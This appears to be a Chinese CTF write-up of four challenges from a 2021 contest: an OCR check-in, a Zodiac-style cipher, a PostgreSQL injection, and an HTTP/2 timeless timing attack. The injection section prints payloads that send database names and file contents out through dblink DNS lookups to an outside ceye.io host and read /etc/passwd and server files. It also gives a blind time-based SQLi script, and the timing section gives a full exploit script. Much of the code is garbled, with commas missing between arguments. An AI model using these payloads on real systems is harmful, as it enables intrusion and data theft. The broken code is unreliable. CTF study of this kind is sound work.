官方WP | 2021春秋杯新年欢乐赛(1)

admin 2022年6月8日06:50:12CTF专场评论11 views12825字阅读42分45秒阅读模式

“春秋杯”新年欢乐赛官方Writeup终终终终终于来啦!

各位师傅久等了 话不多说 赶紧学起来~


* 指南:本篇共包含{签到、十二宫的挑衅、按F注入、borrow time}4道题目的官方WP,还补充了部分选手的WP以供大家交流学习。篇幅原因,[old driver]题目的WP请跳转下一篇,剩余题目将于明日更新呦 ~


签到


官方WP

运行程序,在一张纸上写FUN字样进行识别,识别成功时程序关闭输出flag,并在当前目录生成flag.txt文件。

大佬WP  by ThTsOd

在程序执行时 Ctrl+C 可知是 python 写的并打包,在 Temp 目录下找到文件,在程序运行时复制文件,搜索整个文件夹 flag{ 找到 flag

官方WP | 2021春秋杯新年欢乐赛(1)

大佬WP  by rycbar  

程序是python打包出来的,解包找到主程序checkin,补上pyc头文件,反编译得到python代码。


import cv2, re, sys
from aip import AipOcr
from apii import APP_ID, API_KEY, SECRECT_KEY, flag
client = AipOcr(APP_ID, API_KEY, SECRECT_KEY)
cap = cv2.VideoCapture(0)
i = 0
x = 1
print('n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀n⠀⠀⠀⠀⠀⠀⣀⣄⣀⢀⣀⣀⡀⠀⠀
⠀⢀⣄⣀⣀⣀⣀⡀⠀⠀⠀⢠⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣀⡤⠀⠀⠀⠀⠀⠀⠀⠀n⠀⠀⠀⠀⠀⢀⣹⣉⣝⢸⡇⠀⠀⠀⠀⢀⡞⠉⠉⣹⠉⠉⠁⠀⠀⢠⢼⢦⠐⢺⠓⢲
⠀⠀⠀⠀⣾⠀⠀⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀n⠀⠀⠀⠀⠀⠀⡤⣤⠤⢸⡏⢹⠉⠀⠀⠀⢸⡏⠉⢹⠉⠉⠁⠀⠀⠘⢸⠠⠤⢼⡤⠼⠤⠀⠀⠀⠛⡒⠒⡗⢒⠒⠂⠀⠀⠀⠀⠀⠀⠀
n⠀⠀⠀⠀⠀⢀⠇⠀⠰⣸⠀⢸⠀⠀⠀⠈⠉⠉⠉⢻⠉⠉⠉⠀⠀⠀⢸⠀⣠⠏⠱⣄⠀⠀⠀⢀⡴⠁⠀⡇⠈⠳⡄⠀⠀⠀⠀⠀⠀⠀n⠀⠀⠀⠀⠀⠀⠉⠁⠀⠁⠀⠘⠀⠀⠀⠀
⠀⠀⠀⠘⠀⠀⠀⠀⠀⠀⠘⠘⠁⠀⠀⠈⠃⠀⠀⠈⠀⠈⠉⠁⠀⠀⠀⠀⠀n'
)
while True:
    ret, frame = cap.read()
    cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
    cv2.imshow('capture', frame)
    cv2.imwrite('.\i' + str(i) + '.png', frame)
    i = i + 1
    if i - 1 > x:
        z = open('.\i' + str(x) + '.png''rb')
        img = z.read()
        message = client.basicGeneral(img)
        for j in message.get('words_result'):
            words = message['words_result']
            num_list = []
            for s in words:
                num_list.append(s['words'])
                final = num_list
                final = ''.join(final)
                if 'FUN' in final:
                    print(flag)
                    f = open('flag.txt''w', encoding='utf-8')
                    f.write(flag)
                    f.close()
                    sys.exit(0)
                else:
                    print('识别失败')
                    sys.exit(0)
        else:
            x = x + 1
    if cv2.waitKey(1) & 255 == ord('q'):
        break
cap.release()
cv2.destroyAllWindows()


看了一下代码,有OCR,发现真的和题目描述一样对着电脑摄像头扫“FUN”就可以了,然后放弃继续逆向,写了个大大的FUN扫出来得到flag。


十二宫的挑衅


解法是将这密文首先通过进行 矩形对角线的方式 重新排列得到Azdecrpt字符串。即针对12宫密码的加密算法反过来进行解密。

这里我们用脚本实现:


ciper="^#@[email protected]#()/>@?==%1(!)>(*+3<#[email protected]$^.4&)8%#5&6!=%1#$-$+5&?#!.03!%[email protected]=1010?(*~#??.+)%&.7^8=1%*^[email protected]@8>&*[email protected](+7)<%3#@^4&@@<.)$3*#%%<<*[email protected]?=~**+!==65^@&"
print(ciper)
#ciper:
for i in range(153):
    if((i+1)%17!=0):
        print(ciper[i],end='')
    else:
        print(ciper[i],end='n')

Azdecrpt=''
for i in range(153):
    Azdecrpt+=ciper[int((i%9)*17+(i*2)%17)]

print("n")
#Azdecrpt
for i in range(153):
    if((i+1)%17!=0):
        print(Azdecrpt[i],end='')
    else:
        print(Azdecrpt[i],end='n')


然后下一步就是寻找密钥了。这里根据去年12月的热点,破解12宫密码用到的著名解密程序Azdecrypt。我们将密文通过进行矩形对角线的方式,重新排列得到Azdecrpt字符串,即


^>%[email protected]*&#(#[email protected]#+
[email protected]*53)8@[email protected]$+&!%>^
&[email protected]%&&4@?#<!=.*
[email protected]=(#[email protected]@<~)8%=^
=0.*/611811)*>@#0
0%8[email protected]$1?*53!?7-
+(^(*==$$5*=+#==^
4&~$7%6%.&?#5)%51
!)#?$<<^()8!?7%<@


放入Azdecrypt,选中Substitution,然后点击Solve 就可以在Output 窗口看到


I KILLED A LOT OF PEOPLE AND THE PEOPLE I 
KILLED WILL BECOME SLAVES TO SERVE ME THIS 
IS FLAG WUUHUU TAKE OFF I HOPE YOU CAN DECRYPT 
IT AS SOON AS POSSIBLE OR I WILL CONTINUE 
TO COMMIT THE CRIME


于是,可以从中得(看)到 flag{WUUHUUTAKEOFF} (去掉空格,再加flag{})



按F注入


官方WP

本题是根据fbctf2019的一题改编。

1. 访问题目,提示我们只有手机才能访问,并且给出了判断的代码

官方WP | 2021春秋杯新年欢乐赛(1)

Hackbar提交一个user头,可以正常返回

官方WP | 2021春秋杯新年欢乐赛(1)


2. 来到一个新的页面

官方WP | 2021春秋杯新年欢乐赛(1)


3. 经分析,当前页面中所有内容均为静态页面,点击投票不会发送请求,但是我们从注释中找到一个接口。


官方WP | 2021春秋杯新年欢乐赛(1)


4. 我们输入下看看,发现没有其他变化。我们尝试一下sql注入


game' and 1=0 --, 没有报错
game' and 1=1 --,没有报错
game' order by 1 --, 未报错
game' order by 2 --, 未报错
game' order by 3 --, 报错
game' union select 1,2 --,报错
game' union select 1,'a' --, 未报错
game'
 union select 1,pg_sleep(10--, 报错
game' union select 1,cast(pg_sleep(10) as text) --, 未报错 (无报错无回显)
game'
 union select 1,'a' from pg_database --,未报错
game' union select 1,'a' from test123 --, 报错
game'
 union select 1,chr(65--,未报错
game' union select 1,chr(-65) --, 未报错


我们发现当sql语句产生错误的时候才会弹出这个对话框


官方WP | 2021春秋杯新年欢乐赛(1)


我们可以从pg_database没有报错看出是pgsql,pg_sleep也没有延时注入的痕迹,也没有回显,也无法盲注。但是pgsql支持dblink函数,既然没有回显,也没有盲注,我们看看能不能将消息外带。


我们尝试用DNS流量将信息外带出来,做一下尝试,成功接到,看来我们可以通过DNS流量获取我们所需要的信息。


/?f=1' AND (SELECT a FROM dblink('host=xxx.xxx.ceye.io dbname=docker_db user=postgres password=tiger','SELECT 1'AS t1(a text))::text = ''--%20


官方WP | 2021春秋杯新年欢乐赛(1)

获取一下数据库的信息


/?f=1' AND (SELECT a FROM dblink('host='||(SELECT string_agg(schema_name,':'FROM information_schema.schemata)||'.xxx.xxx.ceye.io dbname=docker_db user=postgres password=game','SELECT 1'AS t1(a text))::text = ''--%20


官方WP | 2021春秋杯新年欢乐赛(1)


获取表的信息


/?f=1' AND (SELECT a FROM dblink('host='||(SELECT string_agg(tablename, ':'FROM pg_catalog.pg_tables WHERE schemaname=current_schema())||'.xxx.ceye.io dbname=docker_db user=postgres password=game','SELECT 1'AS t1(a text))::text = ''--%20


官方WP | 2021春秋杯新年欢乐赛(1)


后面发现表内没有数据,flag不在数据库中,那么应该是在文件中,需要我们去读取某个文件,我们先尝试利用lo_get这个函数读一下/etc/passwd


?f=1' AND (SELECT a FROM dblink('host='||(SELECT lo_import('/etc/passwd'))||'.xxx.xxx.ceye.io dbname=docker_db user=postgres password=game','SELECT 1'AS t1(a text))::text = ''--%20


得到其oid

官方WP | 2021春秋杯新年欢乐赛(1)


成功读取前五位。现在我们已经可以做到任意读写文件了,接下来考虑一下应该读取哪个文件,我们观察这个页面。

官方WP | 2021春秋杯新年欢乐赛(1)


发现所有的图片后缀都是tank,应该是把.tank后缀结尾的文件当jpg来解析了,看看存不存在.htacess文件,发现存在这个文件。先读一下这个.htacess文件,发现存在pushF1n4AnK文件,并解析成php文件,继续读取这个文件即可得到flag。


大佬WP by Ha1c9on  

Postgresql注⼊


import requests
import time
#x = 'SELECT string_agg(column_name, ',') FROM information_schema.columns where table_schema='public' and table_name='searches''
x = 'SELECT string_agg(cast(oid as text), ',') FROM pg_largeobject_metadata'
headers = {
    "User-Agent""iphone"
}
tmp = requests.get(url = "xxx.cloudeci1.ichunqiu.com/",headers=header)
ans = ''
for i in range(10,40):
    l = 20
    r = 128
    while l < r:
        mid = (l + r) // 2
        payload = "http://xxx.cloudeci1.ichunqiu.com/?f=kaibro' union select 1,(select case when ascii(substring(({}),{},1))>{} then(cast(pg_sleep_for('0.05 minutes') as text)) else NULL end) --".format(x,i+1mid)
        print payload
        try:
            req = requests.get(payload, cookies=tmp.cookies, headers=headers)
        except:
            bb=1
        a = time.time()
        try:
            req = requests.get(payload, cookies=tmp.cookies, headers=headers)
            res = req.text
            #print res
        except:
            bb=1
        b = time.time()
        if(b - a > 2):
            l = mid + 1
        else:
            r = mid
    ans += chr((l + r) // 2)
    print ans


可以读到user=docker databasename = docker_db public searches 等数据,不过没啥⽤。


写oid


f=ha1c9on' union select (select lo_import('/var/www/html/index.php')),'1' --


oid


f=ha1c9on' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(cast(oid as text), ','FROM pg_largeobject_metadata) || ' password=postgres dbname=postgres')) --


开启远程VPS


sudo tcpdump -X -i eth0 port 5432 -v


官方WP | 2021春秋杯新年欢乐赛(1)


读⽂件,因为postgresql 会在空格或者换⾏的时候阶段,所以直接替换为空


f=ha1c9on' UNION SELECT 1,(SELECT dblink_connect('host=IP port=5432 user=docker password=123456 dbname=docker_db'||(SELECT replace(substring(encode(lo_get(16441),'base64'),1,900),chr(10),'')))) --


尝试读文件.htaccess


<FilesMatch "pushF1n4AnK">
SetHandler application/x-httpd-php
</FilesMatch>
AddType image/jpeg .tank


读flag


/?f=ha1c9on' union select (select lo_import('/var/www/html/pushF1n4AnK')),'1' --


官方WP | 2021春秋杯新年欢乐赛(1)


borrow time


官方WP

本题是根据WCTF2020的spaceless spacing改编。
1. 题目在80端口仅仅开放了HTTP/2服务,未开放HTTP/1.1 升级的功能,通过浏览器无法直接打开,需要使用无HTTP/1.1 升级的纯HTTP/2请求:

curl --http2-prior-knowledge IP/
<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <title>Login</title>  
    <link rel="stylesheet" type="text/css" href="/static/login.css"/>  
</head>  
<body>  
    <div id="login">  
        <h1>Login</h1>  
        <form method="post">  
            <input type="password" required="required" placeholder="口令" name="secret"></input>  
            <button class="but" type="submit">登录</button>  
        </form>  
    </div>  
</body>  
</html>  

<!-- /src -->

2. 访问后是一个登录界面,提示了/src,访问后得到源码:

#!/usr/bin/env python

import os
import time
import hashlib

from flask import Flask, render_template, request

app = Flask(__name__)

FLAG = os.environ["ICQ_FLAG"]
SECRET = hashlib.sha1(FLAG.encode()).hexdigest()[:10] + "test"

SLEEP_TIME = 10 ** -3

@app.route("/", methods=['POST''GET'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    else:
        secret = request.form['secret']
        if len(secret) != len(SECRET):
            return "^_^"
        for a, b in zip(secret, SECRET):
            if a == "*":
                continue
            elif a != b:
                return "INCORRECT"
            else:
                time.sleep(SLEEP_TIME)
        if "*" in secret:
            return "INCORRECT"
        return FLAG

@app.route("/src")
def src():
    with open(__file__) as f:
        return f.read()

3. 后端首先计算flagsha1的前10个字符,并在结尾处添加"test"作为SECRET值,登录接口会逐位将SECRET与传入的secret作比较,若某一位不相同则返回INCORRECT,若这一位是"*"则跳过,若这一位相同则sleep 1毫秒,若判断至最后存在"*"则返回INCORRECT,全部正确则返回flag

4. HTTP/2支持单一长连接,一个TCP连接可以发送多个请求,2020年一篇发表在顶会USENIX的文章 [Timeless Timing Attacks: Exploiting Concurrency to Leak Secrets over Remote Connections](https://www.usenix.org/system/files/sec20-van_goethem.pdf) 介绍了一种叫做Timeless Timing Attack的攻击,大致意思就是将两个请求的请求尾封装在同一个TCP包中,保证它们同时到达服务器,通过判断哪个响应先返回来判断是否发生了sleep。作者在github上公开了该攻击的利用脚本:https://github.com/DistriNet/timeless-timing-attacks

5. flag时可以从后向前跑,这样最前面的一位如果错误将不会sleep,而如果正确将sleep 多次。

6. exp如下:


import os
import asyncio
import time
import string
import logging

from hyper import HTTP20Connection
from h2time import H2Time, H2Request

# Number of requests: TIMING_ITERATIONS * NUM_REQUEST_PAIRS * 2 * |SECRET_CHARSET| * |SECRET|
TIMING_ITERATIONS = 2  # 3
NUM_REQUEST_PAIRS = 10  # 20
SECRET_CHARSET = string.ascii_lowercase + string.digits
COMPARISON_CHAR = "@"  # This must not be in SECRET_CHARSET

target = 'http://localhost:8803'

logging.basicConfig(level=logging.INFO)
logger = logging.getLogger("exploit")


def get(resource):
    logging.disable(logging.INFO)
    try:
        connection = HTTP20Connection(target.lstrip("http://").lstrip("https://"))
        connection.request("POST""/", body=f"secret={resource}", headers={'Content-Type''application/x-www-form-urlencoded'})
        return connection.get_response().read()
    finally:
        logging.disable(logging.DEBUG)


async def time_difference(a, b):
    request_a = H2Request("POST"f"{target}/", {"user-agent""h2time/0.1"'Content-Type''application/x-www-form-urlencoded'}, f"secret={a}")
    request_b = H2Request("POST"f"{target}/", {"user-agent""h2time/0.1"'Content-Type''application/x-www-form-urlencoded'}, f"secret={b}")
    a_quicker_count = 0
    b_quicker_count = 0
    for _ in range(TIMING_ITERATIONS):
        async with H2Time(
            request_a, request_b, num_request_pairs=NUM_REQUEST_PAIRS
        ) as h2t:
            results = await h2t.run_attack()
            b_quicker_count += len([result for result in results if result[0] < 0])
            a_quicker_count += len([result for result in results if result[0] >= 0])
        async with H2Time(
            request_b, request_a, num_request_pairs=NUM_REQUEST_PAIRS
        ) as h2t:
            results = await h2t.run_attack()
            a_quicker_count += len([result for result in results if result[0] < 0])
            b_quicker_count += len([result for result in results if result[0] >= 0])
    return a_quicker_count, b_quicker_count


async def exploit():
    secret_length = 1
    while get(COMPARISON_CHAR * secret_length) == b"^_^":
        secret_length += 1

    logger.info("")
    logger.info(f"Secret Length: {secret_length}")
    logger.info("")

    secret = ""

    for _ in range(secret_length):
        start = time.time()

        def spaced_secret_guess(guess):
            # return "*" * len(secret) + guess + "*" * (secret_length - len(secret) - 1)
            return "*" * (secret_length - len(secret) - 1) + guess + secret

        tasks = {
            char: asyncio.create_task(
                time_difference(
                    spaced_secret_guess(COMPARISON_CHAR), spaced_secret_guess(char)
                )
            )
            for char in SECRET_CHARSET
        }
        await asyncio.gather(*tasks.values())

        lowest_char_quicker = None
        lowest_char_quicker_count = float("inf")
        for char, task in tasks.items():
            comparison_quicker_count, char_quicker_count = task.result()

            if char_quicker_count < lowest_char_quicker_count:
                lowest_char_quicker = char
                lowest_char_quicker_count = char_quicker_count

            logger.info(
                # f"Tested: {secret + char} -- {comparison_quicker_count} {char_quicker_count}"
                f"Tested: {char + secret} -- {comparison_quicker_count} {char_quicker_count}"
            )

        # secret += lowest_char_quicker
        secret = lowest_char_quicker + secret

        end = time.time()

        logger.info("")
        logger.info(f"Secret Progress: {secret}")
        logger.info(f"Secret Progress took: {end - start}s")
        logger.info("")

    correct = b"flag" in get(f"{secret}")

    logger.info("")
    logger.info(f"Secret: {secret}")
    logger.info(f"Correct: {correct}")
    logger.info("")


loop = asyncio.get_event_loop()
loop.run_until_complete(exploit())
loop.close()




官方WP | 2021春秋杯新年欢乐赛(1)

赛事交流QQ群:1028988858

有任何问题欢迎进群交流学习

或者私窗万能的果子姐姐(。・∀・)ノ゙

明日将继续放出剩余题目wp 

请锁定【春秋伽玛】 ~


官方WP | 2021春秋杯新年欢乐赛(1)



请给我点个在看吧~

官方WP | 2021春秋杯新年欢乐赛(1)

原文始发于微信公众号(春秋伽玛):官方WP | 2021“春秋杯”新年欢乐赛(1)

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月8日06:50:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  官方WP | 2021春秋杯新年欢乐赛(1) https://cn-sec.com/archives/1020359.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: